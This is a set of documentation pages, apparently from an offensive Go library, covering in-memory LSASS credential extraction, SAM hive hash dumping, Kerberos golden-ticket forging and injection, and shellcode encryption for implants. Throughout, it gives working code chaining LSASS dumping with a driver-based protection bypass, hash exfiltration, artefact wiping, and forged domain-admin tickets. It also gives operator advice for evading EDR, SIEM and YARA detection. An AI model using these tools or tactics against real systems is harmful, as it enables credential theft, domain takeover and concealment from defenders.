  • No thread context capture. ThreadList is a stub — full per-thread context is not emitted. sekurlsa doesn't need it; some legacy tooling (windbg !analyze) does.
  • Protection-byte race. Between Unprotect and OpenLSASS there is a microsecond window where lsass is unprotected. Defenders with continuous EPROCESS monitoring (rare) can spot the transition.
  • LsassPID requires elevation. The walk uses NtGetNextProcess with PROCESS_QUERY_LIMITED_INFORMATION, which the kernel silently denies for lsass.exe (a PPL) when the caller has no elevation/SeDebugPrivilege. The loop runs to STATUS_NO_MORE_ENTRIES without ever seeing lsass and surfaces ErrLSASSNotFound — the same error you would see if lsass were genuinely absent. From a non-elevated context use NtQuerySystemInformation(SystemProcessInformation) directly (different syscall, returns names without opening handles) if PID-only enumeration is needed; the rest of the dump path can't proceed under lowuser anyway.

See also

LSASS Parsing — In-Process Credential Extraction

← Credentials area README · docs/index

MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory Package: credentials/sekurlsa Platform: Cross-platform (pure Go) Detection: Low — runs entirely in the implant's own address space, no Win32 calls


TL;DR

You have the LSASS minidump bytes (from credentials/lsassdump) and want to extract the credentials inside without round-tripping to mimikatz on a different host. This package parses the dump in-process and returns structured creds.

You want…UseReturns
Everything the dump containsParseResult{Logons, MasterKeys, Tickets, Warnings} — full inventory
Just NTLM hashes for replayResult.Logons filtered by Provider == "msv1_0"NT hash + LM hash + DPAPI seed per logon
Kerberos tickets (TGT cache for golden-ticket research)Result.TicketsPer-session TGT/TGS with raw asn1 + decoded principal
DPAPI master keys (for offline blob decryption)Result.MasterKeysPer-user GUID + raw 64-byte key

What this DOES achieve:

  • Pure-Go MINIDUMP parser — no dbghelp.dll, no Win32 calls inside the implant address space.
  • Cross-platform — runs on the analyst's Linux box if they exfil the dump.
  • Structured Result with Warnings []string for partial parses (Credential Guard / LSAISO / unknown lsasrv build).

What this does NOT achieve:

  • Doesn't acquire the dump — that's credentials/lsassdump.
  • Doesn't bypass Credential Guard / LSAISO — when IsoUserMode is enabled, the secrets-bearing region of LSASS is encrypted to the secure-world VTL1; the dump bytes for that region are zeros. Result.Warnings flags this.
  • No live-process attach — input is a MINIDUMP byte buffer, not a live PID. To go live, dump first then parse.
  • lsasrv.dll structure offsets are version-keyed — every LSASS build can shift the SECPKG_FUNCTION_TABLE / Logon / KIWI_BCRYPT_KEY layouts. Parser is best-effort + falls back to known-good signatures; very old or very new builds may partially miss.

Primer

credentials/lsassdump (the producer, see lsass-dump.md) captures lsass.exe's memory into a MINIDUMP blob. To use the blob the operator historically had to round-trip it through mimikatz on a different host or pypykatz on a Linux analyst box — which means exfil-ing a 50 MB+ file, leaving it on disk somewhere, and depending on a Python runtime + 50 MB of crypto deps for the analyst.

credentials/sekurlsa is the consumer — pure-Go MINIDUMP parsing + in-process credential extraction, so the implant pipeline becomes:

PROCESS_VM_READ → MINIDUMP bytes (in-memory) → MSV1_0 hashes (in-memory) → wipe

No disk artefact. No exfil. No external dependency.

v1 (v0.23.0) extracts MSV1_0 NTLM hashes — the dominant pivot for pass-the-hash workflows. WDigest plaintext, Kerberos tickets, and DPAPI master keys are scoped follow-ups on top of v1's LSA-key extraction layer.


How It Works

sequenceDiagram
    participant Caller
    participant Parse as "sekurlsa.Parse"
    participant Reader as "MINIDUMP reader"
    participant Crypto as "LSA crypto"
    participant Walker as "MSV1_0 walker"

    Caller->>Parse: Parse(reader, size)
    Parse->>Reader: openReader → header + directory + 4 streams
    Reader-->>Parse: SystemInfo, Modules, Memory64List
    Parse->>Parse: templateFor(BuildNumber)
    Parse->>Reader: ModuleByName("lsasrv.dll") + ("msv1_0.dll")
    Parse->>Crypto: extractLSAKeys(lsasrv, template)
    Crypto->>Reader: ReadVA(lsasrv.Base, lsasrv.Size)
    Crypto->>Crypto: findPattern(IV/3DES/AES) + derefRel32 + readPointer
    Crypto->>Crypto: parseBCryptKeyDataBlob → crypto.cipher.Block
    Crypto-->>Parse: *lsaKey (IV + AES + 3DES)
    Parse->>Walker: extractMSV1_0(msv1_0, template, keys)
    Walker->>Walker: derefRel32 → LogonSessionList head VA
    loop for each bucket × Flink chain
        Walker->>Reader: ReadVA(node, NodeSize)
        Walker->>Reader: ReadVA(UNICODE_STRING.Buffer)
        Walker->>Reader: ReadVA(PrimaryCredentials.Buffer)
        Walker->>Crypto: decryptLSA(ciphertext, lsaKey)
        Walker->>Walker: parseMSV1_0Primary → NT/LM/SHA1
    end
    Walker-->>Parse: []LogonSession
    Parse-->>Caller: *Result

The crypto layer mirrors BCryptKeyDataBlobImport's logic: parse a 12-byte BCRYPT_KEY_DATA_BLOB_HEADER (magic KDBM, version 1, cbKeyData), then import the trailing payload into crypto/aes (16 bytes) or crypto/des (24 bytes). The IV is plain bytes, no header.

CBC decryption picks the cipher by ciphertext alignment: 16-aligned goes through AES, 8-aligned-but-not-16 goes through 3DES. Same heuristic pypykatz uses.


Simple Example

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

func main() {
    result, err := sekurlsa.ParseFile(`C:\ProgramData\Intel\snapshot.dmp`)
    if err != nil {
        log.Fatal(err)
    }
    defer result.Wipe()

    fmt.Printf("Build %d %s — %d sessions\n",
        result.BuildNumber, result.Architecture, len(result.Sessions))

    for _, s := range result.Sessions {
        for _, c := range s.Credentials {
            if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
                fmt.Println(msv.String()) // pwdump format
            }
        }
    }
}

Result.Wipe overwrites every hash buffer in place after the caller's loop — pair with cleanup/memory.SecureZero on any other slice you held the hash bytes in.


Advanced — registering a custom Template

When the dump's BuildNumber doesn't match a registered template, Parse returns (partial Result, ErrUnsupportedBuild). The partial result still carries BuildNumber + Architecture + Modules so the operator can detect the gap, register a template, and retry:

package main

import (
    "errors"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

func init() {
    // Win11 24H2 (build 26100) — patterns derived offline from the
    // Microsoft-shipped lsasrv.dll for this CU. See README.md for
    // the workflow.
    _ = sekurlsa.RegisterTemplate(&sekurlsa.Template{
        BuildMin:                26100,
        BuildMax:                26100,
        IVPattern:               []byte{ /* operator-derived bytes */ },
        IVOffset:                0x3F,
        Key3DESPattern:          []byte{ /* … */ },
        Key3DESOffset:           -0x59,
        KeyAESPattern:           []byte{ /* … */ },
        KeyAESOffset:            0x10,
        LogonSessionListPattern: []byte{ /* … */ },
        LogonSessionListOffset:  0x17,
        LogonSessionListCount:   64,
        MSVLayout: sekurlsa.MSVLayout{
            NodeSize:          0x110,
            LUIDOffset:        0x10,
            UserNameOffset:    0x90,
            LogonDomainOffset: 0xA0,
            LogonServerOffset: 0xB0,
            LogonTypeOffset:   0xC8,
            CredentialsOffset: 0xD8,
        },
    })
}

func main() {
    result, err := sekurlsa.ParseFile("snapshot.dmp")
    switch {
    case errors.Is(err, sekurlsa.ErrUnsupportedBuild):
        log.Fatalf("build %d not covered; register a template", result.BuildNumber)
    case errors.Is(err, sekurlsa.ErrLSASRVNotFound):
        log.Fatal("dump missing lsasrv.dll module — wrong process?")
    case err != nil:
        log.Fatal(err)
    }
    defer result.Wipe()
    log.Printf("extracted %d sessions on build %d", len(result.Sessions), result.BuildNumber)
}

Composed — Producer + Consumer in one process

The point of a pure-Go consumer: dump → extract → wipe without ever touching disk or shipping a second binary to the operator.

package main

import (
    "bytes"
    "fmt"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/cleanup/memory"
)

func main() {
    // 1. Open lsass.
    h, err := lsassdump.OpenLSASS(nil) // nil = standard WinAPI; pass a *wsyscall.Caller for stealthier syscalls
    if err != nil {
        log.Fatal(err)
    }
    defer lsassdump.CloseLSASS(h)

    // 2. Dump into an in-memory buffer.
    var buf bytes.Buffer
    if _, err := lsassdump.Dump(h, &buf, nil); err != nil {
        log.Fatal(err)
    }

    // 3. Parse the bytes still in memory.
    result, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
    if err != nil {
        log.Fatal(err)
    }
    defer result.Wipe()

    // 4. Use the credentials.
    for _, s := range result.Sessions {
        for _, c := range s.Credentials {
            if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
                fmt.Println(msv.String())
            }
        }
    }

    // 5. Wipe the dump bytes from the Go heap.
    memory.SecureZero(buf.Bytes())
}

Layered with PPL bypass via BYOVD when the lsass process is RunAsPPL=1:

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

// 1. Bring up RTCore64 driver.
var d rtcore64.Driver
if err := d.Install(); err != nil { panic(err) }
defer d.Uninstall()

// 2. EPROCESS unprotect lsass — caller resolves the EPROCESS via
//    an upstream walk (see lsass-dump.md).
tok, _ := lsassdump.Unprotect(&d, lsassEProcess, lsassdump.PPLOffsetTable{
    Build: 19045, ProtectionOffset: 0x87A,
})
defer lsassdump.Reprotect(tok, &d)

// 3. Open + Dump + Parse — same as above. With PS_PROTECTION zeroed,
//    the userland NtOpenProcess(VM_READ) succeeds.

Limitations

  • Templates required. v1 ships the framework; per-build templates ship under any license as community contributions verified against real dumps. The RegisterTemplate(t) opt-in lets operators ship their own without forking.
  • MSV1_0 only. WDigest, Kerberos, DPAPI, LiveSSP / TSPkg / CloudAP are each their own follow-up chantier on top of v1's crypto layer.
  • x64 only. WoW64 32-bit dumps are vanishingly rare on modern Windows and not in v1 scope.
  • Credential Guard / LSAISO sessions appear in the list but the payloads are kernel-isolated ciphertext — surfaced as Result.Warnings, not fatal errors.
  • No live-process attach. A mimikatz!sekurlsa-style direct attach to lsass is a separate chantier (credentials/lsalive) that needs PPL bypass + much louder OPSEC. The dump-then-parse pipeline gives most of the value with a fraction of the noise.
  • .kirbi export composes via stealthopen.Creator. (*KerberosTicket).ToKirbiFile(dir) lands the file via plain os.Create; pair with ToKirbiFileVia(creator, dir) to route the write through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, raw NtCreateFile). Same []byte content; same filename.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/sekurlsa is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

SAM hive dump

← credentials index · docs/index

TL;DR

You want the local Windows account hashes (NT/LM) for the machine — Administrator's hash for pass-the-hash, local service accounts, etc. The hashes live in the SAM registry hive, encrypted with a key derived from the SYSTEM hive's "syskey".

Two paths depending on what you have on disk:

You have…UseConstraint
Both SAM + SYSTEM hive bytes (offline analysis or pre-dumped)DecryptPure-Go, cross-platform
Live target — need to acquire the hives firstLiveDump (calls reg save)Windows + admin; loudreg save HKLM\SAM is a textbook EDR signal

What this DOES achieve:

  • Pure-Go REGF (registry hive) parser — no Win32 dependency for the decryption side.
  • Full crypto chain: syskey reassembly from Lsa\{JD,Skew1,GBG,Data} class strings, AES-128-CBC unwrap of hashed bootkey, per-user RID-keyed RC4 + DES to recover the NT hash.

What this does NOT achieve:

  • NTDS.dit (domain controller's AD database) is OUT OF SCOPE — separate format, separate code path. SAM is local accounts only.
  • No DPAPI / SECURITY hive parsing — those carry per-user credential blobs (browser passwords, scheduled task creds). This package does NT hashes only.
  • No cleartext — NT hashes are one-way. For cleartext credentials, dump LSASS instead (credentials/lsassdump
  • LiveDump is observablereg save HKLM\SAM requires SeBackupPrivilege and shows up in EDR command-line and registry-access telemetry. Prefer offline parse from pre-acquired hives when possible.

Primer

Local Windows accounts live in the SAM registry hive under SAM\Domains\Account. Each user's NT/LM hash is stored encrypted — two layers of crypto stand between the on-disk bytes and a usable hash:

  1. The boot key (syskey) is split across four Lsa\{JD,Skew1,GBG,Data} class strings in the SYSTEM hive, permuted at boot to defeat trivial copies. Reassembling it requires the SYSTEM hive.
  2. The boot key encrypts the hashed bootkey stored in SAM\Domains\Account\F — itself an AES-128-CBC blob keyed on MD5(bootKey || rid_str || qwerty || rid_str) (legacy revision uses RC4).
  3. The hashed bootkey then derives per-user keys (RC4 or AES-128-CBC depending on the revision tag in F). Per-user keys decrypt the 16-byte LM and NT hash blobs in SAM\Domains\Account\Users\<RID>\V.
  4. Modern Windows (10 1607+) also wraps the hashes in a final DES permutation keyed on the RID — same algorithm Windows itself uses to look up the hash at logon.

samdump.Dump runs the entire chain in process memory with no syscalls. The hive bytes can come from anywhere — reg save, VSS shadow copy, raw NTFS read, recon/shadowcopy, or pulled offline from a backup. The package itself opens nothing.

How It Works

flowchart TD
    SYS[SYSTEM hive bytes] --> EBK[extractBootKey<br>permute Lsa class strings]
    EBK -->|16-byte boot key| HBK
    SAM[SAM hive bytes] --> RDF[readDomainAccountF<br>AES-encrypted blob]
    RDF --> HBK[deriveDomainKey<br>AES-128-CBC]
    HBK -->|hashed bootkey| LU
    SAM --> LU[listUserRIDs<br>walk Users key]
    LU --> PV[parseUserV<br>extract username + LM/NT enc]
    PV --> DEC[decryptUserNT / decryptUserLM<br>per-RID DES-permute<br>+ AES-128-CBC or RC4]
    DEC --> ACC[Account&#123;Username, RID, NT, LM&#125;]

Implementation details:

  • The REGF reader (hive.go) walks named keys and value records through nk / vk cells without depending on golang.org/x/sys or any Windows-only API — cross-platform out of the box.
  • Per-user failures are accumulated on Result.Warnings rather than aborting the dump; structural failures (missing boot key, malformed F, no Users key) return ErrDump.
  • Account.Pwdump renders the canonical username:RID:LM:NT::: format consumed by hashcat (-m 1000), John (--format=NT), CrackMapExec NTLM hash auth, and impacket secretsdump.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/samdump is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — offline hives

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
)

system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()

sysFI, _ := system.Stat()
samFI, _ := sam.Stat()

res, err := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())
if err != nil {
    panic(err)
}
fmt.Print(res.Pwdump())

With password history — feed hashcat every hash a user has ever held

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
)

system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()
sysFI, _ := system.Stat()
samFI, _ := sam.Stat()

res, _ := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())

// Current + every historical hash, ready to pipe into:
//   hashcat -m 1000 -a 0 hashes.txt rockyou.txt
fmt.Print(res.PwdumpWithHistory())

// Or per-account introspection — count how many prior NT hashes
// each user has, useful for picking high-value targets first.
for _, a := range res.Accounts {
    fmt.Printf("%s (RID %d): current + %d historical NT hashes\n",
        a.Username, a.RID, len(a.NTHistory))
}

Composed — live host, cleanup, exfil

import (
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
    "github.com/oioio-space/maldev/cleanup/wipe"
)

dir, _ := os.MkdirTemp("", "")
res, sysPath, samPath, err := samdump.LiveDump(dir)
defer func() {
    _ = wipe.File(sysPath)
    _ = wipe.File(samPath)
    _ = os.RemoveAll(dir)
}()
if err != nil {
    panic(err)
}
exfilPwdump(res.Pwdump())

Advanced — VSS shadow-copy acquisition

reg save is loud. For better OPSEC, acquire the hives via VSS shadow copies through recon/shadowcopy and feed the files into the offline Dump path:

sc, _ := shadowcopy.Create()
defer sc.Delete()

sysReader, _ := sc.Open(`Windows\System32\config\SYSTEM`)
samReader, _ := sc.Open(`Windows\System32\config\SAM`)

res, err := samdump.Dump(sysReader, sysReader.Size(),
    samReader, samReader.Size())

See ExampleDump for the runnable variant.

OPSEC & Detection

ArtefactWhere defenders look
reg save HKLM\SAM / HKLM\SYSTEMSysmon Event 1 (process creation) — reg.exe with save is one of the highest-fidelity credential-dumping signals
Two .hive files written to a writable directoryEDR file-write telemetry; staging directories under %TEMP% are correlated with credential dumping
RegSaveKeyEx Windows API callETW Microsoft-Windows-Kernel-Registry; bypassable via direct NtSaveKey syscall
Read access to HKLM\SAM SDDefender ASR rule "Block credential stealing from the Windows local security authority subsystem" (LSA-only, but heuristics overlap)

D3FEND counters:

  • D3-PSA — flags reg.exe save lineage.
  • D3-FCA — REGF magic on disk in atypical paths.
  • D3-SICA — registry hive-handle telemetry.

Hardening for the operator:

  • Prefer offline acquisition (VSS via recon/shadowcopy, raw NTFS read, backup files) over LiveDump.
  • Stage hive bytes through an in-memory io.ReaderAt (e.g. bytes.NewReader) to avoid the .hive files on disk altogether.
  • Wipe the dir immediately after parsing — cleanup/wipe.File zeroes the bytes before unlinking.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1003.002OS Credential Dumping: Security Account Managerfull — offline + LiveDumpD3-PSA, D3-FCA, D3-SICA

Limitations

  • Local accounts only. SAM holds only the workstation's local users. Domain credentials live in NTDS.dit on the DC; use separate tooling (impacket secretsdump remote, mimikatz lsadump::dcsync).
  • History coverage. Per-account NT and LM password-history blobs are now decoded and surfaced as Account.NTHistory / Account.LMHistory (most-recent-first). Render via Account.PwdumpHistory() / Result.PwdumpWithHistory(). Each historical NT hash is a full pass-the-hash candidate against any host that hasn't enforced rotation. Windows default MaximumPasswordHistory=24 — expect up to 24 historical hashes per account. LM history is empty by default on Win10 1607+.
  • DPAPI / cached creds out of scope. Domain cached credentials (Cache{N}) live in SECURITY hive; SECURITY parsing is not in this package.
  • LiveDump is loud. reg.exe save lights up every behavioral EDR. Plan for offline acquisition wherever the operational context allows.
  • AES revision only validated against Win10 1607+. Older XP/2003 RC4-keyed hives use the legacy code path; tested less recently.

See also

Kerberos Golden Ticket

← credentials index · docs/index

TL;DR

You stole the domain controller's krbtgt account hash (via credentials/lsassdump on a DC, NTDS.dit extraction, etc.). With that hash you can forge an arbitrary Kerberos TGT — any user, any group membership, any lifetime — that the entire domain trusts until krbtgt is rotated (in practice: often never).

You want to…UseConstraint
Forge a TGT for a chosen principal + group membershipsForgeNeed krbtgt key (RC4-HMAC / AES128-CTS / AES256-CTS)
Inject the forged TGT into your current logon session's cacheSubmitWindows-only; uses LsaCallAuthenticationPackage(KerbSubmitTicketMessage)
Verify a forged PAC roundtrips correctly (research / detection)ValidatePACSame krbtgt key — re-runs MS-PAC §2.8 server+KDC signature dance in reverse

What this DOES achieve:

  • Long-dwell domain admin: forged TGT works for any principal (typically Administrator) with any group membership (typically Domain Admins SID + Enterprise Admins SID).
  • Survives password rotation of the impersonated user — only krbtgt rotation kills it.
  • Pure-Go ASN.1 marshaling — no kerberos external dep, no Java/Python tooling required.

What this does NOT achieve:

  • Doesn't steal the krbtgt hash — pre-requisite. Get from credentials/lsassdump on a DC, NTDS.dit extraction (impacket-style), or DCSync (out of scope here).
  • Detectable: forged TGTs have telltale anomalies (PAC signature using only one key when DC normally uses two, LogonTime mismatch with KerbValidationInfo.LogonTime, abnormal EncTicketPart.Renew-till > 7 days). Mature SIEMs
    • Microsoft Defender for Identity look for these.
  • Not for cross-realm trust — forged TGT works inside the realm krbtgt belongs to. Cross-forest needs a different attack class.
  • PAC signature breaks if the realm enables PAC validation to the KDC (rare but increasing) — the KDC can reject forged tickets it didn't issue. Default is no validation.

Primer

Kerberos TGTs are signed by krbtgt, a domain-wide service account whose long-term key never leaves a domain controller. Anyone holding the krbtgt key can mint a TGT for any principal — there is no online check until the next krbtgt rotation. Microsoft recommends rotating krbtgt twice per year; in the wild it is typically rotated never.

The forged TGT carries a Privilege Attribute Certificate (PAC) inside its EncTicketPart. The PAC is the authorization data: it declares which groups the principal belongs to. By forging the PAC the operator claims Domain Admins, Enterprise Admins, Schema Admins, and Group Policy Creator Owners regardless of what the AD database says. The PAC also fixes a LogonTime and KickoffTime — set the kickoff 10 years in the future and the ticket is valid for a decade.

Two PAC signatures (server checksum + KDC checksum) protect the PAC from tampering; both are computed with the krbtgt key, so once you have the key you control the signatures too. Member servers typically don't validate the KDC checksum (the PAC_VALIDATE_TICKET callback is rarely wired up), making the ticket usable everywhere.

The package supports the three crypto suites Active Directory shipped with NT 4 → today: RC4-HMAC (NT hash, 16 bytes; legacy but universally present), AES128-CTS-HMAC-SHA1-96 (16 bytes), and AES256-CTS-HMAC-SHA1-96 (32 bytes). Modern AES-only domains accept RC4 tickets only when RC4_HMAC is explicitly enabled — check msDS-SupportedEncryptionTypes on the krbtgt object before choosing.

How It Works

flowchart LR
    P[Params<br>Domain + krbtgt hash<br>+ user/RID/groups] --> PAC[buildPAC<br>KERB_VALIDATION_INFO<br>+ PAC_CLIENT_INFO<br>+ 2× PAC_SIGNATURE_DATA]
    PAC --> ETP[EncTicketPart<br>flags + cname + crealm<br>+ key + AuthTime/EndTime<br>+ AuthorizationData=PAC]
    ETP --> ENC[encrypt with krbtgt key<br>RC4 / AES128 / AES256]
    ENC --> KC[KRB-CRED<br>kirbi blob]
    KC --> OUT{output}
    OUT -->|Forge returns bytes| DISK[ccache / .kirbi file<br>cross-platform]
    OUT -->|Submit on Windows| LSA[LsaCallAuthenticationPackage<br>KerbSubmitTicketMessage]
    LSA --> CACHE[per-LUID TGT cache]

Implementation details:

  • The PAC server signature covers the encrypted ticket bytes; the KDC signature covers the server signature. Both are HMAC-MD5 for RC4 / HMAC-SHA1-96 for AES — keyed on the krbtgt long-term key, which is also the ticket-encryption key.
  • default_templates.go ships DefaultAdminGroups{512, 513, 518, 519, 520} (Domain Admins, Domain Users, Schema Admins, Enterprise Admins, Group Policy Creator Owners).
  • Forge is deterministic for a fixed Params + a fixed Params.NowFunc — useful for tests and reproducibility.
  • Submit calls LsaCallAuthenticationPackage with KerbSubmitTicketMessage. The kirbi is written into the calling user's per-LUID cache; the next outbound Kerberos operation from the process picks it up. No domain controller contact is required.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/goldenticket is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — forge with defaults, write to disk

import (
    "os"

    "github.com/oioio-space/maldev/credentials/goldenticket"
)

p := goldenticket.Params{
    Domain:    "corp.example.com",
    DomainSID: "S-1-5-21-1111-2222-3333",
    Hash: goldenticket.Hash{
        EType: goldenticket.ETypeAES256CTSHMACSHA196,
        Bytes: aes256KrbtgtKey,
    },
}
kirbi, err := goldenticket.Forge(p)
if err != nil {
    panic(err)
}
_ = os.WriteFile("admin.kirbi", kirbi, 0600)

Composed — forge + inject into current process

kirbi, err := goldenticket.Forge(p)
if err != nil {
    panic(err)
}
if err := goldenticket.Submit(kirbi); err != nil {
    panic(err)
}
// any subsequent Kerberos call (SMB, LDAP, RDP) from this process
// authenticates as p.User with the forged group memberships.

Composed — pre-flight validation (operator sanity check)

import (
    "errors"
    "log"

    "github.com/oioio-space/maldev/credentials/goldenticket"
)

// Use case: I just stole a krbtgt key from a DC LSASS dump. Did
// the dump survive the round-trip cleanly? Does my key actually
// produce a PAC that re-validates? Run a self-test before risking
// detection by submitting the kirbi.
//
// `pacBytes` here is the raw PAC blob from a captured ticket or a
// round-tripped Forge → extract-PAC sequence. ValidatePAC is the
// reverse of buildPAC's signature dance.
err := goldenticket.ValidatePAC(pacBytes, krbtgtHash)
switch {
case err == nil:
    log.Println("PAC signatures valid — krbtgt key works")
case errors.Is(err, goldenticket.ErrInvalidServerSignature):
    log.Println("server signature mismatch — wrong key or tampered PAC body")
case errors.Is(err, goldenticket.ErrInvalidKDCSignature):
    log.Println("KDC signature mismatch — server sig was tampered after forge")
default:
    log.Printf("PAC validation failed: %v", err)
}

Advanced — chained off the sekurlsa extractor

import (
    "github.com/oioio-space/maldev/credentials/goldenticket"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

res, _ := sekurlsa.ParseFile(`C:\dc01-lsass.dmp`, nil)
defer res.Wipe()

// Find the krbtgt session in the parsed dump.
var krbtgtKey []byte
for _, sess := range res.Sessions {
    if sess.UserName == "krbtgt" {
        for _, c := range sess.Credentials {
            if msv, ok := c.(*sekurlsa.MSVCredential); ok {
                krbtgtKey = msv.NTHash
            }
        }
    }
}

p := goldenticket.Params{
    Domain:    "corp.example.com",
    DomainSID: "S-1-5-21-1111-2222-3333",
    Hash: goldenticket.Hash{
        EType: goldenticket.ETypeRC4HMAC,
        Bytes: krbtgtKey,
    },
}
kirbi, _ := goldenticket.Forge(p)
_ = goldenticket.Submit(kirbi)

See ExampleForge

OPSEC & Detection

ArtefactWhere defenders look
TGT lifetime > MaxTicketLifetime (default 10h)Kerberos audit (Event 4769); long-lived tickets stand out trivially
Domain Admins membership for an account that doesn't have it in ADLDAP cross-checks against actual memberOf
RC4 etype on a domain that enforces AESEvent 4769 with Ticket Encryption Type 0x17 — anomalous on modern domains
LsaCallAuthenticationPackage from non-Lsass processEDR API telemetry (Defender for Identity, MDE)
Ticket reuse from atypical workstationsAuthentication-source IP correlation

D3FEND counters:

  • D3-AZET — flags long-lived TGTs and unexpected admin-group access.
  • D3-NTA — correlates Kerberos traffic to authentication-source anomalies.

Hardening for the operator:

  • Set Lifetime to a value the domain's policy actually allows (MaxTicketLifetime, default 10h) at the cost of frequent refreshes — reduces the loudest indicator.
  • Use the actual etype the domain expects; AES256 is the modern default.
  • Forge for a non-admin principal that legitimately needs broad access (Backup Operator, Replicator) instead of Administrator to dodge naive group-name allowlists.
  • Forge Forge on a Linux launchpad and only ship the kirbi to the target — the binary size on the Windows host stays minimal.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1558.001Steal or Forge Kerberos Tickets: Golden Ticketfull — Forge + SubmitD3-AZET, D3-NTA
T1550.003Use Alternate Authentication Material: Pass the Ticketpartial — Submit is the inject side; Forge produces the ticketD3-NTA

Limitations

  • krbtgt rotation defeats the ticket. AD silently retires forged TGTs after the second rotation — no error, the ticket simply stops decrypting.
  • No Diamond / Sapphire variants. This package forges classic Golden Tickets only; Diamond Tickets (modify-don't-forge) and Sapphire Tickets (modify a real TGT's PAC via S4U2Self) are not in scope.
  • No Silver Ticket support. Silver Tickets target a service account's NTLM hash and forge service-specific TGS tickets; algorithm overlaps but PrincipalName and the encryption key are different — separate package.
  • Submit is per-process, per-LUID. The injected ticket only helps Kerberos calls from this process; child processes inherit the cache but unrelated processes do not.
  • PAC structural validation gap (logical only). Forge does not validate the produced PAC against MS-PAC §2 except by checksumming. Hand-crafted group RIDs that don't exist won't be rejected by the package itself — defenders can. The new ValidatePAC covers cryptographic signature integrity (server + KDC) but NOT logical field validity (RID plausibility, UNICODE_STRING shape, group-membership coherence).
  • ValidatePAC does not check TicketChecksum (type 0x10) or ExtendedKDCChecksum (type 0x13). Most golden tickets don't carry them; their inclusion is a 2022+ Kerberos hardening concern out of scope for the current Forge path. When/if Forge starts emitting them, ValidatePAC must be extended in the same commit.

See also

Crypto techniques

← maldev README · docs/index

The crypto/ package supplies confidentiality and signature-breaking primitives for payload protection. Two surfaces sit side-by-side: strong AEAD ciphers for the outer envelope, and lightweight transforms for layered unpackers and signature defeat.

[!NOTE] Encoding (Base64, UTF-16LE, PowerShell -EncodedCommand) lives in docs/techniques/encode. Hashing (cryptographic + fuzzy + ROR13) lives in docs/techniques/hash.

TL;DR

flowchart LR
    SC[shellcode] -->|EncryptAESGCM| ENV[encrypted envelope]
    ENV -->|optional layers| OBF[XTEA / S-Box / Matrix]
    OBF --> EMBED[ship in implant]
    EMBED -.runtime.-> DEC[DecryptAESGCM]
    DEC --> WIPE[memory.SecureZero key]
    WIPE --> RUN[inject.Inject]

Build-time: encrypt with AES-256-GCM (or XChaCha20-Poly1305), optionally wrap in 1–2 lightweight obfuscation layers, embed in the implant. Runtime: decrypt → wipe key → inject → wipe plaintext.

Where to start (novice path):

  1. payload-encryption — the only page in this area. Read the "Pick the primitive" 9-row matrix at the top to choose your cipher; read the recommended 3-layer stack diagram for the standard permutation→cipher→AEAD ordering.
  2. After encrypting, pair with cleanup/memory-wipe to scrub the key + plaintext from memory after use.

Packages

PackageTech pageDetectionOne-liner
cryptopayload-encryption.mdvery-quietAEAD (AES-GCM, ChaCha20), stream/block (RC4, TEA, XTEA), signature-breaking transforms (S-Box, Matrix, XOR, ArithShift)

The package mixes three layers; the technique page documents each layer separately.

For a side-by-side comparison of every primitive (Layer / Speed / Entropy / Key size / IV / Authenticated / Reversible / Static signature / Best-for), see the "Pick the primitive" 9-row matrix in payload-encryption.md. The matrix is the canonical place to make a "which cipher / transform do I reach for?" choice; the decision tree below is a quick-reference shortcut.

Quick decision tree

You want to…Use
…encrypt the outer payload envelopecrypto.EncryptAESGCM (preferred) or crypto.EncryptChaCha20
…generate a sane keycrypto.NewAESKey / crypto.NewChaCha20Key
…break a YARA byte signature without changing semanticscrypto.NewSBox + SubstituteBytes
…add a tiny in-process unpacker stagecrypto.EncryptXTEA
…diffuse byte patterns across a block (Hill cipher)crypto.MatrixTransform
…match a legacy Metasploit handlercrypto.EncryptRC4 (cryptographically broken — compatibility only)
…compute SHA-256 / MD5 / ROR13hash package
…Base64 / UTF-16LE / PowerShell-encodeencode package

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027Obfuscated Files or Informationcrypto (XOR, TEA, S-Box, Matrix, ArithShift)D3-SEA (Static Executable Analysis)
T1027.013Encrypted/Encoded Filecrypto (AES-GCM, ChaCha20, RC4)D3-FCR (File Content Rules)

See also

Payload encryption & obfuscation

← crypto index · docs/index

TL;DR

Three-tier toolkit: AEAD ciphers (AES-GCM, XChaCha20-Poly1305) for the outer envelope; lightweight stream/block ciphers (RC4, TEA, XTEA) for in-process unpackers; signature-breaking permutations (S-Box, Matrix Hill, ArithShift, XOR) to defeat YARA byte patterns. Pure Go, no CGo, cross-platform.

Recommended layer stack:

implant.exe disk bytes
    │
    ├─ Layer 1: signature-breaking permutation (S-Box / XOR)
